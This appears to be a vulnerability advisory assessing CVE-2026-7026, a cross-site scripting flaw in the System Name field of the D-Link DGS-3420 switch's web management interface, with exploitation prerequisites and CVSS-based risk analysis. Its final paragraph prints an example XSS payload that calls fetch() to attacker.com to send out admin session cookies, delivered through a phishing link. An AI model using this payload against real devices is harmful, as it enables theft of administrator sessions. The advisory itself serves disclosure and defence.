D-Link DGS-3420 CVE-2026-7026

Exploitation requires: (1) authenticated access as a high-privilege administrator to the D-Link DGS-3420 web management interface (PR:H), (2) the System Information Settings Page component to be accessible and functional, (3) the System Name input field to accept and render unsanitized user-supplied data without HTML/JavaScript encoding, and (4) user interaction (UI:R)-either the target admin must visit an attacker-controlled page containing the malicious link or the payload must be persistently stored and viewed by an admin. The vulnerability does NOT affect unauthenticated users, does NOT allow privilege escalation, and does NOT impact confidentiality or availability directly. Exploitation is limited to reflected/stored XSS scenarios and cannot bypass authentication mechanisms.

Real-world risk is moderate and constrained by multiple factors. CVSS 4.5 (Low-Medium) accurately reflects the mitigation imposed by PR:H (requires high-privilege admin authentication) and UI:R (requires user interaction-admin must visit attacker-controlled page or click link). EPSS and KEV data are not provided, so exploitation prevalence cannot be cross-checked; however, the presence of publicly disclosed exploit code (E:P in vector) suggests proof-of-concept availability rather than active wild exploitation. Attack vector AV:N permits remote exploitation, but only if an authenticated admin can be socially engineered. The impact is limited to integrity (I:H) with no confidentiality or availability loss, reducing real-world severity for most deployments. Risk escalates only in environments where admins are targeted by threat actors, manage DGS-3420 switches from untrusted networks, or store sensitive data accessible via XSS payloads (e.g., API tokens in session storage). For most network operations, this is a low-priority patch unless admin phishing is a demonstrated threat.

An attacker crafts a malicious URL containing an XSS payload in the System Name parameter (e.g., https://[switch-ip]/admin/system?name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and sends it to a network administrator via phishing email. When the admin clicks the link while authenticated to the switch, the script executes in their browser context, exfiltrating admin session cookies or triggering actions on their behalf. Alternatively, if the System Name parameter is stored in the device configuration, a one-time injection could persist and execute when any admin views the settings page.